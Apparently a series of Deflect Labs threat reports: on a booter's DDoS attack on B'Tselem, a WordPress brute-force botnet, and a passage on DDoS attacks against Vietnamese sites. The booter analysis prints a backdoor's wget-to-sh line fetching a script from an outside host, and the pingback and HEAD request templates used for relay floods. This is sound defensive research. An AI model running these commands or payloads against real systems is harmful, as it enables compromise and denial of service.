Key Findings

• We identified a DDoS attack against the Israeli human rights website www.btselem.org on the 2nd of November
• Attackers used three different type of relays to overload the website and were automatically mitigated by Deflect
• We identified the booter infrastructure (professional DDoS service) and accessed and analyzed its tools, which we describe in this article
• In cooperation with Digital Ocean, Google and other security response teams, we have managed to shut down some of the booter’s infrastructure running on their platforms. The booter is still operational however and continues to create new machines to launch attacks.

Introduction

On the 2nd of November 2018, we identified a DDoS attack against the Deflect-protected website www.btselem.org. B’Tselem is an Israeli non-profit organisation striving to end Israel’s occupation of the Palestinian territories. B’Tselem has been targeted by DDoS attacks many times in the past, including in 2013 and 2014, also when using Deflect protection in 2016. The organization has been facing pressure from the Israeli government for years, as well as from sectors of the Israeli public.

The attack on the 2nd of November was orchestrated from a booter infrastructure. A booter (also known as DDoSer or Stresser) is a DDoS-for-hire service with prices starting from as low as 15 dollars a month. Some services can support a huge number of DDoS attacks, like the booter vDoS (taken down in August 2017 by the Israeli police) which did more than 150 000 DDoS attacks and raised more than $600 000 over two years of activity. Now, the threat is taken seriously by police in many countries, leading to the dismantling of several booter services.

This attack is one of seventeen that we identified targeting the B’Tselem website in 2018. Most of the web attacks were using standard security audit tools such as Nikto, SQLMap or DirBuster launched from different IPs in Israel. All discovered DDoS attacks were using botnets to amplify the traffic load. The attack investigated in this report is the first example of a WordPress pingback attack against the btselem.org website in 2018.

In this article, we analyze the attack, including the tools and methods used by the booter.

Description of the Attack

On November 2nd, between midnight and 1am UTC, we identified an unusual peak of traffic to www.btselem.org. A large number of requests did not have any user-agent string or used a user-agent showing a WordPress pingback request (like WordPress/4.8.7; [REDACTED]; verifying pingback from 174.138.13.37). We confirmed that this traffic is part of a DDoS effort using different types of relays. We have documented pingback attacks several times in the past and explain what they are in the 3rd Deflect Labs report.

btselem.org received 341 435 requests to / during that period of time, including 272 624 requests without user-agent, 65 887 requests with UA Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 and 2368 requests with different WordPress user-agents.

One interesting aspect of this traffic is that it targeted the domain btselem.org. This domain is configured to redirect to https://www.btselem.org through a 301 redirect HTTP code, but only a small part of the traffic actually followed the redirection and queried the final www website. We got 272,636 requests without user-agent on btselem.org during the attack, and only 34,035 on www.btselem.org.

Analyzing WordPress pingbacks

WordPress pingback attacks have been around since 2014 and we’ve had to deal with several pingback attacks before.

The idea is to abuse the WordPress pingback feature which is built to notify websites when they are being mentioned or linked-to, by another website. The source publication contacts the linked-to WordPress website, with the URL of the source. The linked-to website then replies to confirm receipt. By sending the initial pingback request with the target website as the source, it is possible to abuse this feature and use the WordPress website as a relay for a DDoS attack. To counter this threat, many hosting providers have disabled pingbacks overall, and the WordPress team has implemented an update to add the IP address at the origin of the request in the User-Agent from version 3.9. An attack using the website www.example.com as a relay would see user-agents like WordPress/3.5.1; http://www.example.com before the version 3.9, and WordPress/3.9.16; http://www.example.com; verifying pingback from ORIGIN_IP after. Unfortunately, many WordPress websites are not updated and can still be used as relay without displaying the source IP address.

By analyzing the WordPress user-agents during the attack, it is easy to map the websites used as relays :

• 2368 requests were from WordPress websites
• These requests were coming from 300 different WordPress websites used as relays
• 149 of them where above the version 3.9

The user-agents of WordPress websites over 3.9 shows the IPs at the origin of the attack : WordPress/4.1.24; http://[REDACTED]; verifying pingback from 178.128.244.42.

We identified 10 IPs as the origin of these attacks, all hosted on Digital Ocean servers which reveals the actual infrastructure of the booter. We describe hereafter the infrastructure identified and the actions we took to shut it down.

Analyzing other queries

The other part of the DDoS attack is a large number of requests to / without any query-string, also without either user-agent (272 624 requests) or with user-agent Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 (65 887 requests).

By analyzing samples of these IPs, we identified many of them as open proxies. For instance, we received 159 requests from IP 213.200.56[.]86, known to be an open proxy by several open proxy databases. We checked the X-Forwarded-For header which is set by some proxies to identify the origin IP doing the request, and identified again the same list of 10 Digital Ocean IPs at the source of the attack.

Finally, a small part of these requests remained from unknown sources until we discovered the Joomla relay list on the booter servers (see after). A common Joomla plugin called Google Maps2 has a vulnerability disclosed since 2013 that allows using it as a relay. It has been used several times for DDoS, especially around 2014. It is surprising to see such an old vulnerability being used, but we identified only 2678 requests which show that this attack is not very effective in 2018, likely due to small number of websites still vulnerable.

Anatomy of a Booter

Infrastructure

As described earlier, the analysis of WordPress PingBack user-agents and of X-Forwarded-For header from proxies gave us the following list of IP addresses, all hosted on Digital Ocean :

• 178.128.244.42
• 178.128.244.184
• 178.128.242.66
• 178.128.249.196
• 142.93.136.67
• 188.166.26.137
• 188.166.43.4
• 188.166.105.145
• 174.138.13.37
• 188.166.125.216

These 10 servers were running an Apache http server on port 80 with an open index file showing a list of tools used by the booters for DDoS attacks :

This open directory allowed us to download most of the tools and list of relays used by the booters.

Toolkit

We were able to download most of the tools used by the booter at the exception of PHP code files (the files being executed when the URL is requested). Overall we can see three types of files hosted on the booter :

• Command files in php : api.php and sockhit.php
• Tools : executable or javascript tools like http.js or joomla
• Text files listing relays :joomla.txt,path.txt,perfect.txt,socks.txt andxmlrpc.txt

Unprotected Commands

We could not download these php files (sockhit.php and api.php), but we could quickly deduce that they were used to remotely command the booter server from the interface to launch attacks.

l@tp $ curl http://178.128.244.42/sockhit.php
Made By Routers.Rip
Usage: php  [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [SOCKS_FILE]
Example: php  http://Routers.Rip/ 800 60 20 proxies.txt

l@tp $ curl http://178.128.244.42/api.php
Missing Parameters!%

One interesting thing to notice, is that the sockhit.php file does not seem to require authentication, which means that the infrastructure could have been used by other people unknowingly of the owners. We think that these PHP files are not directly launching the attacks but rather using the different tools deployed on the server to do that.

Backdoored Tools

The following tools were found on the server :

• https.js a206a42857be4f30ea66ea17ce0dadbc
• joomla 1956fc87a7217d34f5bcf25ac73e2d72a1cae84a
• jsb.js b3a55eeb8f70351c14ba3b665d886c34
• xmlrpc 480e528c9991e08800109fa6627c2227

We reversed both the xmlrpc and joomla file, and discovered that the joomla binary is actually backdoored. The file contains the real joomla executable from byte 0x2F29, upon execution the legitimate program is dumped into a temporary file (created with tmpnam), then a crontab is added by opening /etc/cron.hourly/0 and adding the line wget hxxp://r1p[.]pw/0 -O- 2>/dev/null| sh>dev/null 2>&1. The backdoor then opens itself and checks if it already contains the string h3dNRL4dviIXqlSpCCaz0H5iyxM= contained in the backdoor. If it does not contain the string, it will backdoor the file. Finally, it executes the legitimate program with the same arguments.

The final payload (5068eacfd7ac9aba6c234dce734d8901) takes as arguments (target) (list) (time) (threads), then read the list file to get the list of Joomla websites and query it with raw socket and the following HTTP query :

HEAD /%s%s HTTP/1.1
Host: %s
User-agent: Mozilla/5.0
Connection: close

The xmlrpc binary (480e528c9991e08800109fa6627c2227) is working in the same way (and is not backdoored) : Upon execution, the user has to provide a target website along with a list of WordPress websites in a file, a number of seconds for the attack and a number of threads ({target} {file} {seconds} {threads}). The tool then iterate over the list of WordPress website in multiple threads for the given duration, doing the following requests to the website :

POST /%s HTTP/1.0
Host: %s
Content-type: text/xml
Content-length: %i
User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)
Connection: close

<methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>

https.js and jsb.js are both Javascript tools forked from the cloudscaper tool which allows to bypass Cloudfare anti-DDoS Javascript challenge by solving the challenge server side and bypassing the protection. We don’t really know how it is used by the booter.

These jsb.js file contains the following line, which was likely done to prevent attack from this tool on the Turkish Hacker forum DarbeTurk but was partially deleted then :

if (body.indexOf('DARBETURK ONLINE | TURKISH UNDERGROUND WORLD') !== -1) {
            //console.log('RIP');
        }

A Long List of Relays

The following list of relays where used on the server :

• joomla.txt : contains 1226 Joomla websites having a Google Maps plugin vulnerable to relaying
• path.txt : list of 2117 open proxies
• perfect.txt : list of 1000 open proxies
• socks.txt : list of 37849 open proxies
• xmlrpc.txt : list of 9072 WordPress websites

As said earlier, it is surprising to see 1226 Joomla website with a vulnerable Google Maps plugin, while this vulnerability was identified and fixed in 2014. We queried the 1226 urls to check if the php page was still available and found that only 131 of them over 1226 still exist today. It explains the small number of requests identified from this type of relay in the attack, and shows that the tools and list used are quite outdated.

Summary

This booter relies on three different DDoS methods, all using different relays :

• WordPress pingback attacks
• Joomla Google Maps plugin vulnerability
• Open proxies

The attacks we have seen from this booter where not very effective and were automatically mitigated by Deflect. The back-doored joomla file and the jsb.js Javascript tool (with a reference to a Turkish hacker forum) let us think that we have here a very amateur group that reused different tools shared on hacker forums, and imply a low technical skill level.

Tracking the booter’s infrastructure

A few days after we downloaded the tools, we saw the index page of all the servers change to a very simple html file containing only ‘kekkkk’ and although the tools were still available we were not able to see the list of files on the servers. As this string is a specific signature, we used Censys and BinaryEdge to track the creation of new servers by looking for IPs returning the same specific string.

Between mid-November and mid December, we have seen the booter using both Vultr and Google Cloud Platform. Overall we have identified 65 different IPs used by the operators, with a maximum of 17 at a single time.

We sent abuse requests to these companies, the two Google Cloud servers were shortly taken down after our email (we have no information if it is related to our abuse request or not). We contacted Vultr abuse team several times and they took down the booter infrastructure in mid-December. We sent an abuse request to Digital Ocean when we discovered the attack. Several days after we managed to get in touch with the incident response team that investigated more on this infrastructure. After discussions with them, they took down the infrastructure in December, but the operator quickly started new Digital Ocean servers that are still up at the time of the publication of this report.

Impact on Deflect protected websites

This DDoS attack was automatically mitigated by Deflect and did not create any negative impact on the targeted website.

Conclusion

People operating this booter have been identified by the Digital Ocean security team. However, without an official complaint and a legal enforcement request, the booter continues to operate creating new infrastructure for launching their attacks.

Booters have been around for a long time and even if several groups have been taken down by police (like the infamous Webstresser.org), this attack shows that the threat is still real. The analysis of the tools presented here seems to show that low skills are sufficient to run a booter service simply by reusing tools published on different hacker forums. Even so, an attack from this amplitude would be enough to take down a small to medium sized website without adapted DDoS protection.

We hear regularly about DDoS attacks coming from booters hosted on ecommerce websites, or game platforms, but this incident is also another reminder that civil society organization are a frequent victim of these same booters.

Indicators of Compromise

Original servers used by the booter (all Digital Ocean IPs):

• 178.128.244.42
• 178.128.244.184
• 178.128.242.66
• 178.128.249.196
• 142.93.136.67
• 188.166.26.137
• 188.166.43.4
• 188.166.105.145
• 174.138.13.37
• 188.166.125.216

md5 of the files available on the booter’s servers :

• a206a42857be4f30ea66ea17ce0dadbc https.js
• cf554c82438ca713d880cad418e82d4f joomla
• a21e6eaea1802b11e49fd6db7003dad0 joomla.txt
• b3a55eeb8f70351c14ba3b665d886c34 jsb.js
• 9263a09767e1bad0152d8354c8252de9 path.txt
• 5214cbb3fc199cb3c0c439aedada0f2a perfect.txt
• db8ee68a81836cde29c6d65a1d93a98d socks.txt
• 480e528c9991e08800109fa6627c2227 xmlrpc
• ea2c3ee7ac340c25a9b9aa06c83d0b6e xmlrpc.txt

Acknowledgment

We would like to thank the different incident response teams that have had to deal with our constant emails, Censys, ipinfo.io and BinaryEdge for their tools.

Key Findings

• We identified traffic from thousands of IPs trying to brute-force WordPress websites protected by Deflect using the same user-agent (Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0) since September 2017
• We confirmed that it was not only targeting Deflect protected websites, but targeting also a large number of websites over Internet
• We analyze in this blog post the origin IPs of this botnet, mostly coming from IP addresses located in China.

Introduction

In August 2018, we identified several attempts of brute-forcing WordPress websites protected by Deflect. These attacks were all using the same user-agent, Firefox version 52 on Windows 7 (Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0). By retracing similar attacks with this user-agent, we discovered a large number of IP addresses involved in these attacks on over more than hundred of Deflect protected websites since September 2017.

Presentation of an Attack

An example of an attack from this botnet can be found in the traffic we observed on a Deflect protected website on the 24th of May with the user agent `Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0` :

At first one IP, 125.65.109.XXX (AS38283 – CHINANET) enumerated the list of authors of the WordPress website :

Then 168 different IP addresses were used to brute-force the password by doing POST queries to /wp-login.php :

Targeting beyond Deflect Users

The botnet’s large target list quickly made us think that it was not part of a political operation or a targeted attack, but rather an attempt to compromise any website available on the Internet. To confirm our hypothesis, we decided to share indicators of these attacks within threat intelligence groups as well as the GreyNoise platform to see if honeypots were targeted.

Shared Threat Intelligence

We shared indicators of attacks to other members of an Information Sharing and Analysis Center (ISAC) we are part of. Two members confirmed having seen the same attacks on their professional and personal websites. One of the members accepted to share logs and IP addresses with us, which confirmed the same type of attack with the same user-agent.

Using GreyNoise data

We used both the open and enterprise access of the GreyNoise platform to gather more data about this botnet. GreyNoise is a threat intelligence platform that focus on identifying the attack noise online through a large network of honeypots in order to differentiate targeted attacks from non-targeted attacks. (We got access to the Enterprise platform after an eQualit.ie member contributed to the development of tools for GreyNoise platform). GreyNoise works by gathering information on IPs that are scanning any GreyNoise’s honeypot, and tagging them based on the type of scan identified. We can see quickly in the GreyNoise visualizer that many IPs are identified as WORDPRESS_WORM :

We enumerated the list of IP addresses listed as WORDPRESS_WORM, and then queried detailed information for each IP in order to identify the one using the Firefox 52 user-agent characteristic of this botnet. We identified 725 different IP addresses from this data set among the last 5000 WordPress scanners available through the Enterprise API.

These two pieces of information confirm that this botnet is targeting websites far beyond the websites we protect with Deflect.

Analysis of the traffic to Deflect

We identified the first query from this botnet on Deflect websites on the 27th of September 2017. We have graphed the number of requests done by this botnet to /wp-login.php over time :

Looking more closely at the distribution of number of requests per IP addresses, we see that a small number of IP addresses are doing a large number of requests :

Analysis of the botnet

We identified 3148 unique IPs belonging to this botnet from the following sources :

• 3011 targeting Deflect protected websites since September 2017
• 725 identified by GreyNoise as WordPress
• 7 from logs shared by people from different communities

Checking the origin Autonomous Systems, we can see that 39% of the IPs come from the AS 4134 (Chinanet backbone) and 4837 (China169) :

• 872 ASN4134 CHINANET-BACKBONE No.31,Jin-rong Street, CN
• 342 ASN4837 CHINA169-BACKBONE CHINA UNICOM China169 Backbone, CN
• 93 ASN9808 CMNET-GD Guangdong Mobile Communication Co.Ltd., CN
• 87 ASN18881 TELEFÔNICA BRASIL S.A, BR
• 86 ASN8452 TE-AS TE-AS, EG
• 82 ASN9498 BBIL-AP BHARTI Airtel Ltd., IN
• 50 ASN17974 TELKOMNET-AS2-AP PT Telekomunikasi Indonesia, ID
• 48 ASN3462 HINET Data Communication Business Group, TW
• 47 ASN4766 KIXS-AS-KR Korea Telecom, KR
• 40 ASN24445 CMNET-V4HENAN-AS-AP Henan Mobile Communications Co.,Ltd, CN

If we look at the origin countries of these IP’s, we see that 53% of them are based in China :

• 1654 China
• 171 Brazil
• 168 India
• 102 Russia
• 94 Indonesia
• 87 Egypt
• 82 Republic of Korea
• 65 United States
• 62 Taiwan
• 43 Vietnam

We queried ipinfo.io to get the type of Autonomous Systems these IP’s are part of :

• 2743 : Internet Service Providers
• 271 : Business
• 132 : Hosting
• 2 : Unknown

To identify the operating system of these bots, we used another interesting feature of GreyNoise, which is the identification of the operating system at the origin of these requests through passive fingerprinting techniques (using p0f signatures). By querying all the IPs from this botnet in GreyNoise and filtering on the one using the Firefox 52 user agent, we checked which operating systems these IPs used (1370 IP’s from our list were identified in GreyNoise with Firefox 52 user agent) :

• 662 unknown
• 238 Linux 2.6
• 209 Linux 2.4.x
• 88 Linux 3.1-3.10
• 63 Linux 2.4-2.6
• 51 Linux 2.2-3.x
• 17 Linux 3.11+
• 12 Linux 2.2.x-3.x (Embedded)
• 9 Linux 3.x
• 8 Mac OS X 10.x
• 6 Windows 7/8
• 4 FreeBSD
• 1 Linux 2.0
• 1 Windows 2000
• 1 Windows XP

Another interesting fact shown by GreyNoise data is that over these IPs, 2105 were also identified for other of types scans, mostly for the following suspicious activities :

• WEB_SCANNER_LOW: 1404,
• SSH_SCANNER_LOW: 1037
• SSH_WORM_LOW: 950
• WEB_CRAWLER: 705
• TELNET_SCANNER_LOW: 117
• TELNET_WORM_HIGH: 80
• SSH_WORM_HIGH: 77
• HTTP_ALT_SCANNER_LOW: 52
• SMB_SCANNER_LOW: 44
• SSH_SCANNER_HIGH: 33

We have used this data to map the activity identified by GreyNoise over time, first only for the WordPress brute-force traffic, then second for any suspicious activity :

We can see that this botnet is not used only to attack WordPress or that most of these devices are compromised by more than one malware.

Impact on Deflect

We have not identified any impact from this botnet on Deflect protected websites. The first reason is that any heavy traffic going beyond the threshold defined in our Banjax rules would automatically ban the IP for some time. A large part of the traffic from this botnet was actually blocked automatically by Deflect.

The second reason is that most websites using Deflect use the Banjax admin page protection, which requires an extra shared password to access administrator parts of a website (for WordPress, /wp-admin/)

Protection Against Bruteforce

The WordPress documentation describes several ways to protect your website against such brute-force attacks. The first one is to use a strong password, preferable a passphrase that would resist dictionary attacks used most of the time.

Many WordPress plugins also exist to ban an IP address after several failed attempts, like Brute Force Login Protection, Ninja Firewall or SiteGuard (see the full list of extensions here).

It is also possible to add an extra password (a bit like Banjax does) to the administration part of your website by using HTTP authentication. See the WordPress documentation for more information. (If you choose this option, it is recommended to install a tool preventing HTTP brute-force like fail2ban).

For professional WordPress hosting, a strong counter-measure to these attacks is to separate WordPress’ live PHP code from rendered WordPress code by hosting the administration part of the website on a different domain (for instance using django-wordpress). We plan to implement this strategy on our own WordPress hosting in the coming months.

Conclusion

In this blog post, we have described a botnet targeting WordPress website all around the world. The number of devices part of the attack is quite large (more than 3000), which shows that it is a well organized activity. We have no information on the malware used to compromise these devices or on the objective of this group. We are definitely interested to be in touch with anyone having more information about this group, or interest in continuing this investigation. Please contact us at outreach AT equalit.ie.

Appendix

Acknowledgement

We would like to thank member of the NGO ISAC, ipinfo.io and the Greynoise.io team for their support.

Indicators Of Compromise

You can look for the following indicators in your traffic :

• User-Agent : Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
• url: POST /wp-login.php and GET /?author=1 (testing authors between 1 and 60)

We have no information on the post-compromise actions.

As with our last report, we have to not share public IP addresses used by this botnet, as they are likely compromised systems and we cannot control the potential side-effect of sharing these IP to owners of these systems. We are open to share them privately. We are aware of the challenges for sharing DDoS threat intelligence and we are also interested in starting a discussion about this topic. Please contact us at outreach AT equalit.ie.

Key Findings

• We identified 10 different DDoS attacks targeting two Vietnamese websites protected by Deflect, viettan.org and baotiengdan.com, between the 17th of April and 15th of June 2018. These attacks happened in the context of an important lack of Internet Freedom in Vietnam with regular online attacks against activists and independent media.
• We sorted these attacks in four different groups sharing the same Tactics, Techniques, and Procedures (TTPs). Group A is comprised of 6 different attacks, against both viettan.org and baotiengdan.com, which tend to show that these two websites have common enemies even if they have different political perspectives.
• We found common IPs between this group and a DDoS attack analyzed by Qurium in June 2018 against Vietnamese independent media websites luatkhoa.org and thevietnamese.org. Having four different Vietnamese civil society websites targeted by DDoS in the same period supports the hypothesis that these attacks are part of a coordinated action to silence NGOs and independent media in Vietnam.
• For each of the attacks covered in this report, we have investigated their origin and the systems used as relays.

Introduction

This blog post is the first in a series called “News from Deflect” intended to describe attacks on Deflect protected websites, with the objective of continuing discussions about distributed denial of service (DDoS) attacks against civil society.

Deflect is a free DDoS mitigation service for civil society organizations (see our Terms of Service to understand who fits into this description). Our platform is filtering traffic between users and civil society websites to remove malicious requests, in this case, bots trying to overload systems in order to make the website unavailable and silence political groups or independent media.

We have been protecting two Vietnamese websites, viettan.org and baotiengdan.com on the Deflect platform. Việt Tân is an organization seeking to establish democracy through political reforms in Vietnam. Tiếng Dân is an independent online non-partisan media covering political news in Vietnam.

Over the past several months, we have seen a significant increase of DDoS attacks against these two websites. Although Việt Tân and Tiếng Dân websites and organizations are not related to each other by any means and have different political perspectives, our investigations uncovered several attacks targeting them simultaneously. It appeared to us that these attacks are driven by a coordinated campaign and sought the websites’ agreement to publish an overview of the discovered activities.

Figure 1: heatmap of DDoS incidents against Việt Tân and Tiếng Dân websites over the past months

Internet and Media Freedom in Vietnam

For a more than a decade, there has been proof of online attacks against Vietnamese civil society. The earliest attacks we know focused on silencing websites either with DDoS attacks, like the attacks against the Bauxite Vietnam website in December 2009 and January 2010 or against Việt Tân in August 2011, or by compromising their platforms, as witnessed with Anh Ba Sam in 2013.

In 2013, the discovery by Citizen Lab of FinFisher servers installed in Vietnam indicated malware operations against activists and journalists. In March 2013, the managing editor of baotiengdan.com, Thu Ngoc Dinh, at that time managing editor of Anh Ba Sam, had her computer compromised and her personal pictures published online. Later that year, the Electronic Frontier Foundation documented a targeted malware operation against Vietnamese activists and journalists. This attack is now attributed to a group called OceanLotus (or APT32) that is considered to be Vietnam-based. Recently, an attack targeting more than 80 websites of civil society organizations (Human rights, independent media, individual bloggers, religious groups) was uncovered by Volexity in November 2017 and attributed to this same Ocean Lotus group.

At the same time, there is a strong suppression of independent media in Vietnam. Several articles in the Vietnamese constitution criminalize online publications opposing the Socialist Republic of Vietnam. They have been used regularly to threaten and condemn activists, like the blogger Nguyen Ngoc Nhu Quynh, alias ‘Mother Mushroom’ who was sentenced to 10 years in jail for distorting government policies and defaming the communist regime in Facebook posts in June 2017. Recently, Vietnamese legislators approved a cyber-security law requiring large IT companies like Facebook or Google to store locally personal data on users in Vietnam. This law has seen strong opposition by street protests and by human rights groups like Human Rights Watch and Amnesty International.

Vietnam is ranked 175th over 180 countries by Reporters without Border’s 2018 World Press Freedom Index and has a Freedom of the Net score of 75/100 in the Freedom of the Net report in 2017 by Freedom House.

10 different DDoS attacks

Since the 17th of April 2018, we have identified 10 different DDoS attacks targeting either Việt Tân or Tiếng Dân’s websites :

These attacks were all HTTP flood attacks but came from different sources and with different characteristics (user agents, path requested etc.).

Identifying Groups of Attacks

From the beginning of the analysis, we saw some similarities between the different attacks, mainly through the user agents used by different bots, or the path requested. We quickly wanted to identify groups of attacks sharing the same Tactics, Techniques and Procedures (TTP).

We first described their characteristics in the following table :

From this table, we can see that Incidents 8 and 10 clearly use the same tool identified by the user agent (python-requests/2.9.1) and do the same specific query /?&s=nguyenphutrong based on the name of Nguyễn Phú Trọng, the current General Secretary of the Communist Party of Vietnam. We gathered these two attacks in Group C.

Incidents 3 and 9 have different characteristics from other incidents, they seem to use two different custom-made tools for DDoS. We separated them into two different groups, B and D (see details in part 2).

We still have 6 different attacks that share common characteristics but not enough to confirm any linkages between them. They all query / without any query string, which is quite common in DDoS attacks. They use random User-Agents for each IP address, which is close to what legitimate traffic looks like.

Identifying shared IPs

We wanted to check if these different attacks were sharing IP addresses so we represented both IPs and Incidents in a Gephi graph to visualize the links between them (IPs are represented with red dots and incidents with green dots in the following figure) :

Figure 2 : Graph of the different attacks (green dots) linked by IPs used (red dots)

We have identified six incidents sharing common IPs in their botnets, and present them in the following table of Incident intersection IPs:

There is a strong overlap of bots used in Incidents 1 and 2 (53%), which is telling considering that Incident 1 is targeting viettan.org and incident 2 is targeting baotiengdan.com. Its is a strong indication that a similar botnet was used to attack these two domains, particularly as the attacks were orchestrated at the same on April 17th.

Other attacks all share between 1 and 22 IP addresses in common (<10%) which is a quite small percentage of intersection and may have different explanations. For instance, the same system is compromised by several different malware turning them into bots, or that different compromised systems are behind the same public IP.

Identifying origin countries

Another link to consider is if these IPs used for different attacks are from the same countries. If we consider a botnet that would use specific ways to infect end systems, it is likely that they would be unevenly distributed over the world. For instance a phishing attack in one language would be more efficient in a country speaking this language, or an Internet wide scan for vulnerable routers would compromise more devices in countries using the targeted router.

We have geolocated these IPs using MaxMind GeoLite database and represented the origin in the following graph (countries having less than 5% IPs are categorized as “Other” for visibility) :

Figure 3: Country of origin of IPs used in attacks 1, 2, 4, 5, 6 and 7.

Besides Incident 7, these attacks clearly share the same profile : between 15 and 30% of IPs are from India, between 5 and 10% from Indonesia, then Philippines or Malaysia. Surprisingly, the 7th incident has only one IP coming from India (categorised as Other in this graph) but has a similar distribution in other countries. So the distribution seems quite similar.

Analyzing User-Agents

Another interesting characteristic of these attacks is that every IP is using a single user agent for all of its requests, presumably selected from a list of predefined user-agents. We listed User-Agents used in different incidents and checked the similarity between these lists :

Between 42 and 81% of user-agents are shared between every set of two incidents. Low intersections between two incidents could be due either to different versions of the same tool used in different attacks, or to interference with legitimate traffic.

15 different user agents were used in all of the 6 incidents:

Analyzing Traffic Features

For a long-time, we have been using visualization and machine learning tools to analyze DDoS attacks (for instance in the report on attacks against Black Lives Matter). We find it is more reliable to consider information about the whole session of an IP (all the requests done by an IP over a period of time) rather than per request. So we generate features describing each IP session and then visualize and cluster these IPs to identify bots. This approach is really interesting to confirm the link between these different attacks, here were are relying on the four following features to compare the sessions from the different groups:

• Number of different user-agents used
• Number of different query strings done
• Number of different paths queried
• Size of the requests

First, we can clearly see that the Incident 8 has an identifiable signature due to the utilization of a specifically crafted tool generating random user agent and random query strings (1058 query strings and 329 user-agents) :

Figure 4: Visualization of the number of user-agents, query strings and paths

Considering other attacks now, the identification is not that clear, mainly because some IPs seems to do both legitimate visits of the website and attacks at the same time. But for most of the IPs, we clearly see that the number of query string and the payload size is discriminant :

Figure 5: Visualization of the number of user-agents, number of query strings and query size per IP

Summary of the Different Attack Groups

Overall, we identified four different groups of attacks sharing the Same TTPs :

Let’s enter into the detail of TTP for each group :

• Group A : TTPs for this group seem to be quite generic and we have only a moderate confidence that the attacks are linked. All these attacks are querying/ (which is pretty common) with on user agent per IP (regularly an empty user agent). The IPs from these groups are coming from Asia, mostly India, Indonesia, Philippines or Malaysia. Attacks in this group are often reusing the same user-agents which could indicate several versions of the same payload.
• Group B : this attack used the user-agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) to query either GET / or POST /spip.php?page=email&id_article=10283
• Group C : two attacks with the user-agent python-requests/2.9.1 (showing the utilization of a python script with the requests library) querying either /?&s=nguyenphutrong or a random search term like/?s=06I44M
• Group D : One attack with a tool using a random value among a list of 329 user-agents, and random query strings (like?x=%99%94%7E%85%7B%7E%8D%96) to bypass caching

Analyzing Attack Groups

Group A

Group A attacks were definitely the most frequent case we saw since April, with six different attacks done on both Việt Tân and Tiếng Dân’s websites.

Two simultaneous incidents

On the 9th of May for instance, we saw a peak of banned IPs first on attacks against viettan.org, then baotiengdan.com :

Figure 5: Number of hosts blocked automatically by Banjax on the 9th of May on viettan.org and baotiengdan.com

We can confirm that there was also a peak of traffic to both websites :

Figure 6: traffic of viettan.org and baotiengdan.com on the 9th of May

Looking at the traffic more closely, we see that the majority of IPs generating most of the traffic are only making requests to the / path, like this IP 61.90.38.XXX which did 4253 GET requests to/ with user agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 (this user agent means that the request came from a Firefox 13 browser on Windows 7, Firefox 13 was released in April 2012, it is pretty unlikely to see people using it today) over 30 minutes :

Figure 7: Traffic observed for the IP 61.90.38.XXX on the 9th of May

We identified as bots all the IPs displaying an unusual number of queries to “/” (more than 90% of their traffic), and ended up with a list of 217 IPs targeting viettan.org and 725 IPs targeting baotiengdan.com, with 14 in common between both incidents.

Checking where these IPs are located, we can see that they are mainly in India and Indonesia :

Figure 8: Worldmap showing the source of IPs for these two incidents

Top 10 countries :

• 243 India
• 138 Indonesia
• 61 Philippines
• 34 Morocco
• 34 Pakistan
• 29 Thailand
• 27 Brazil
• 22 Vietnam
• 19 Algeria
• 19 Egypt

Analyzing the source of these incidents

We then wanted to understand what is the source of these incidents and we have four major hypothesis :

• Servers rented by the attackers
• Compromised Servers
• Compromised Routers
• Compromised end-points (Windows workstations, android phones etc.)

We aggregated the 2212 IP addresses of these 6 incidents and identified their Autonomous System. To distinguish between servers and internet connections, we used ipinfo.io classification of Autonomous Systems :

• 1988 ISP
• 163 business
• 38 hosting
• 23 Unknown

This set of IPs is then mostly coming from personal Internet access networks around the world, either from compromised routers or compromised end-devices. For a long time, most botnets were comprised of compromised Windows systems infected through worms, phishing or backdoored applications. Since 2016 and the appearance of the Mirai botnet it is clear that Internet-Of-Things botnets are becoming more and more common and we are are seeing compromised routers or compromised digital cameras being used for DDoS attacks regularly.

The main difference between these two cases, is that IoT systems are reachable from the Internet and often compromised through open ports. To differentiate these two cases, we used data from the Shodan database. Shodan is a platform doing regular scans of all IPv4 addresses, looking for specific ports (most of them specific to IoT devices) and storing the results in a database that you can query through their search engine or through their API. We have implemented a script querying the Shodan API and using signatures over the results to fingerprint systems running on the IP address. For instance MikroTik routers often expose either a telnet, SNMP or web server showing the brand of the router. Our script downloads data from Shodan for an IP, and checks if there are matches on different signatures from MikroTik routers. Shodan allows to get historical data for these scans, so we included data for the past 6 months for each IP in order to maximize information to fingerprint the system.

There are definitely limitations to this approach as a MikroTik router could be secure but routing traffic from a compromised end-system. But our hypothesis is that we would identify similar routers or IoT systems for a large part of IP address in the case of an IoT botnet.

By running this script over 2212 IP addresses for the group A, we identified 381 routers, 77 Digital Video Recorders and 50 routers over 2212 IPs. 1666 of them did not have any open port according to Shodan, which tends to show that they were not servers but rather professional or personal Internet access points. So in the end, our main hypothesis is that these IPs are mostly compromised end-systems (most likely Windows systems).

Figure 9: Types of systems identified through Shodan data

Regarding location, we used MaxMind Free GeoIP database to identify the source country, and found that 50% of the IPs are located in India, Indonesia, Brazil, Philippines, and Pakistan.

Group B

The second group was responsible for one DDoS attack against Viettan.org from the 29th of April to the 4th of May using 5000 different IP addresses :

Figure 10: Traffic on viettan.org generated by the attack

The attack tool has specific characteristics :

• All bots were using the same User-Agent : Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
• Bots were querying only two different paths
  • GET /
  • POST /spip.php?page=email&id_article=10283 It seems to query a page on the web framework SPIP which could exploiting a known SPIP vulnerability but it is curious as viettan.org is not running SPIP

